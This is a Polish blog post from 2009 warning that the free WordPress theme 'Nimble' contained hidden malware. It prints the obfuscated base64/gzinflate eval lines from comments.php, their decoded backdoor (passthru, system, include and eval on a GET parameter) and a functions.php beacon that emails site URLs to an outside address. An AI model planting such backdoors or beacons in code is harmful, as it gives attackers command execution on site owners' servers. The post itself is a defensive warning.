Darmowe szablony/skórki WordPress – sprawd? kod zanim wrzucisz na serwer

Wpis z serii Dobre Rady Wuja Toma, przy czym tym razem rady udziela Tomasz Jach – znajomy, który trafi? na ten przypadek i zaproponowa? napisanie tekstu na ten temat. Ku przestrodze dla innych eksperymentuj?cych na swoich blogach.

Oczywi?cie sprawa nie dotyczy wy??cznie WordPress-a i skórek czy pluginów do niego. Trzeba zachowa? ostro?no?? przy korzystaniu z wszystkich mo?liwych skryptów i programów. Wirusy i inne z?o?liwe skrypty czyhaj? wsz?dzie. Zasada ograniczonego zaufania jest stale aktualna. „Everybody lies”, jak by to skwitowa? Dr Gregory House.

Poznajcie skórk? „Nimble”

Poznajcie darmow? skórk? o nazwie Nimble, udost?pnion? przez serwis wpthemespress.com. Theme jest prosty, przejrzysty i elegancki, a? chce si? go wykorzysta? na swoim blogu. W ci?gu ostatniego roku z mo?liwo?ci pobrania jej z tego serwisu skorzysta?o 937 osób.

Nimble: 2 Column Dark Adsense and Widget Ready WordPress Theme.

Professional Web 2.0 Premium WordPress Theme. It’s a very sleak and light weight theme that’s ultra flexible for customization.

Skórka ta jest jednak wyj?tkowa z innego powodu.

functions.php

Plik functions.php znajduj?cy si? w katalogu skórki jest wykonywany przy ka?dym otworzeniu bloga. Zwykle umieszcza si? z nim funkcje, które np. rozszerzaj? mo?liwo?ci konkretnego szablonu. Bardzo przydatna sprawa, sam z niej korzystam. W tym przypadku w tym pliku znalaz?a si? jeszcze jedna dodatkowa „funkcjonalno??”.

Nie b?d? tu przekleja? ca?ego syfiastego skryptu, poniewa? zajmuje sporo miejsca, ale jego fragment widzicie na screenie na pocz?tku tekstu. W ka?dym razie, po przetworzeniu (a skuba?stwo jest niez?e, dekoduje sobie dekodery do dekodowania odpowiednich fragmentów „tekstu”), wywo?a si? co? takiego (Tomek przes?a? mi od razu przetworzone skrypty):

?><?php
$email = 'spameeeeddd@gmail.com <mailto:spameeeeddd@gmail.com>';
$message = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$headers = 'MIME-Version: 1.0'."\r\n";
$headers .= 'Content-Type: text/html'."\r\n";
$headers .= 'Content-Transfer-Encoding: quoted-printable'."\r\n";
@mail($email, 'Nimble', $message, $headers);
?><?

Czyli ka?dorazowe wej?cie na bloga powodowa?o ciche wys?anie na okre?lony adres e-mail adresu odwiedzonej podstrony.

Osoba, która opublikowa?a ten theme, otrzymywa?a informacj? gdzie jest wykorzystywana jej skórka. Na skrzynce l?dowa? ka?dy dost?pny na blogu adresik.

Ale to jeszcze nie wszystko

Poprzedni ukryty kod to piku? (a nawet pan piku?) w porównaniu z tym, co mo?na znale?? w pliku comments.php, odpowiedzialnym za generowanie komentarzy na blogu.

<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKEgsLi7JKCrVUIl3dw2JVs9NLUlUj9VUsAcqAAA=')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKK4sLknN1VCJd3cNiVbPTS1JVI/VVLAHSgMA')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwSC1LzNFQiXd3DYlWz00tSVSP1VSwB0oCAA==')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwyMxLzilNSdVQiXd3DYlWz00tSVSP1VSwB8oDAA==')));?>
<?php // Do not delete these line

A po rozkodowaniu widzimy co? takiego:

?><?php @passthru($_GET['meta']) ?><? //Execute an external program and display raw output
?><?php @system($_GET['meta']) ?><?     //Execute an external program and display the output
?><?php @include($_GET['meta']) ?><? //The include() statement includes and evaluates the specified file.
?><?php @eval($_GET['meta']) ?><? //Evaluate a string as PHP code 

No prosz?, backdoor. Wystarczy wywo?a? stron? z odpowiednio spreparowanym parametrem, a na odpowiednio skonfigurowanym serwerze mo?na zrobi? niez?e kuku.

A adresy wszystkich podatnych stron przecie? mamy na odpowiedniej skrzynce, bo znaleziony w functions.php skrypcik ju? nas poinformowa? gdzie atakowa?.

Odpowied? autora strony na zg?oszenie syfu:

Braydon D’aguiar do Tomasz 05.11.2009 14:28

Shit!!!! Thanks. I had someone managing that site for me and they mist of done it.

Pobra?em te? paczk? z Nimble, nie ma ju? syfu.

Sprawdzaj kod

Sprawdzaj, sprawdzaj i jeszcze raz sprawdzaj kod skórek, pluginów i innych gotowych skryptów, które wrzucasz na swój serwer.

Wszelkie bloki zakodowanego skryptu powinny od razu zapali? w g?owie ostrzegawcz? lampk?. Je?li nie jeste?my w stanie samemu przeanalizowa? ca?ego kodu, pomolestujmy troch? bardziej obeznanych znajomych.

Wpis opublikowany 5 listopada 2009
Tagi: backdoor, dziura, exploit, hidden code, nimble, trojan, ukryty kod, wordpress
Kategorie: blog, ciekawostki, internet, wordpress, wszystkie

Komentarze do wpisu "Darmowe szablony/skórki WordPress – sprawd? kod zanim wrzucisz na serwer"